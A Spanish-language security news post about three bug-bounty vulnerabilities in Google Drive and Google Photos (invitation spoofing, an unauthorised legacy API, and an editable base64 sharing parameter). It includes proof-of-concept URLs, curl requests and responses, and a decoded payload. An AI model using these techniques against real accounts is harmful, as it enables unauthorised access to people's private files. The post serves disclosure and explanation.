Vulnerabilidades en Google Drive y Fotos para robo de archivos
Se han encontrados 3 fallos: uno de spoofing, otro de authentication bypass, y finalmente uno de revelación de información sensible
El desarrollador Gergő Turcsányi de Avatao ha encontrado 3 vulnerabilidades en Google Drive y Fotos, que no guardan relación entre sí, y que permitían acceder a los ficheros de estos servicios. El descubridor de estos fallos ha sido recompensado con 4133$ por sus hallazgos.
La primera vulnerabilidad se trata de un spoofing en la url de invitación para acceder a Google Drive. Este enlace, que incluye los emails con los que compartir los ficheros, permite definir el nombre de la persona con la que se compartirá el enlace, a pesar de no ser una característica pública. Así, es posible hacer un spoofing de la dirección de correo con la que se está compartiendo:
Contenido parcialmente protegido solo para miembros WISER ELITE, consigue tu membresía aquí
[ms-protect-content id=”503″]
https://docs.google.com/spreadsheets/d/cmFuZG9t_c3ByZWFkc2hlZXQ_aWQ/edit?usp=sharing_erp&userstoinvite=Bill Gates<billgates@microsoft.com>
[/ms-protect-content]
No obstante, para la explotación de esta vulnerabilidad, se requiere que el usuario acepte compartir los archivos en la ventana de diálogo. Este fallo ha sido recompensado con 500$ por Google.
La segunda vulnerabilidad se encuentra en la API de Google Drive: esta API tiene varios puntos de entrada que parecen mantenidos por retrocompatibilidad, y que realizan acciones redundantes. Investigando más al respecto, se ha descubierto que estas APIs no controlan si el usuario de Google está autorizado a acceder al fichero, requiriendo únicamente utilizar una sesión de Google:
Contenido parcialmente protegido solo para miembros WISER ELITE, consigue tu membresía aquí
[ms-protect-content id=”503″]
curl 'https://docs.google.com/presentation/d/pReS3nTaT10N_1D/copyimages?id=bG9s_Y2hlY2tvdXR0aGlz_dDY4UkV1MEh3Qnc' --data 'photo=bG9s_Y2hlY2tvdXR0aGlz_dDY4UkV1MEh3Qnc' {"bG9s_Y2hlY2tvdXR0aGlz_dDY4UkV1MEh3Qnc":"MDRjYWVhO-QtYjc0Ny00NDdkLWJlODctZ-VmNzVkOTI1YTkw"} ----- curl 'https://docs.google.com/presentation/d/pReS3nTaT10N_1D/renderdata?id=bG9s_Y2hlY2tvdXR0aGlz_dDY4UkV1MEh3Qnc' --data 'cosmoId=MDRjYWVhO-QtYjc0Ny00NDdkLWJlODctZ-VmNzVkOTI1YTkw' {"r0":"https://lh6.googleusercontent.com/dmVyeXZlcnl2ZXJ5dmVyeXZlcnl2ZXJ5dmVyeXZlcnl2ZXJ5dmVyeXZlcnl2ZXJ5dmVyeXZlcnl2ZXJ5dmVyeXZlcnl2ZXJ5dmVyeXZlcnl2ZXJ5bG9uZ3N0cmluZw"}
[/ms-protect-content]
Esta vulnerabilidad, que ha sido recompensada con 500$, tiene como limitación que para obtener el fichero es necesario conocer su ID. Al ser dicho ID una cadena larga de caracteres y números, limita mucho su explotación.
La tercera vulnerabilidad, y la más grave de las tres, afecta al proceso de compartir bibliotecas de imágenes en Google Fotos. El fallo es similar al primer reporte, pero en este caso no se requiere ninguna validación por parte del usuario, necesitando únicamente abrir el enlace y autenticarse. El problema se encuentra en la url de redirección incluida en la autenticación:
Contenido parcialmente protegido solo para miembros WISER ELITE, consigue tu membresía aquí
[ms-protect-content id=”503″]
// URL antes de logearse https://accounts.google.com/signin/v2/sl/pwd?passive=133780085&osid=1&continue=https%3A%2F%2Fphotos.google.com%2Finitps%3Frequest%3DW1tudWxsLCIxMjU4NzQyNzU5MTIzOSJdLG51bGwsImUtbWFpbEBleGFtcGxlLmNvbSIsbnVsbCxbMixudWxsLCJXVzkxSUhKbFlXeHNlU0JzYVd0bElfR1JsWTI5a2FXNW5JSEpoYm1SdmJTQmlZWE5sTmpRZ2MzX1J5YVc1bmN5QXRJR1J2YmlkMElIbHZkVDgiXV0. // URL después de logearse https://photos.google.com/initps?request=W1tudWxsLCIxMjU4NzQyNzU5MTIzOSJdLG51bGwsImUtbWFpbEBleGFtcGxlLmNvbSIsbnVsbCxbMixudWxsLCJXVzkxSUhKbFlXeHNlU0JzYVd0bElfR1JsWTI5a2FXNW5JSEpoYm1SdmJTQmlZWE5sTmpRZ2MzX1J5YVc1bmN5QXRJR1J2YmlkMElIbHZkVDgiXV0.
[/ms-protect-content]
Como puede verse, una de las urls contiene a la otra. El fallo radica en el parámetro request de la petición. Si se decodifica este parámetro en base64, puede verse lo siguiente:
Contenido parcialmente protegido solo para miembros WISER ELITE, consigue tu membresía aquí
[ms-protect-content id=”503″]
[[null,"12587427591239"],null,"e-mail@example.com",null,[2,null,"WW91IHJlYWxseSBsaWtlI_GRlY29kaW5nIHJhbmRvbSBiYXNlNjQgc3_RyaW5ncyAtIGRvbid0IHlvdT8"]]
[/ms-protect-content]
Sólo es necesario modificar el email, y volver de codificar usando base64, para que un atacante pueda generar una url con la obtener acceso a la biblioteca de imágenes. El fallo le ha servido a su descubridor para obtener 3133$ de recompensa.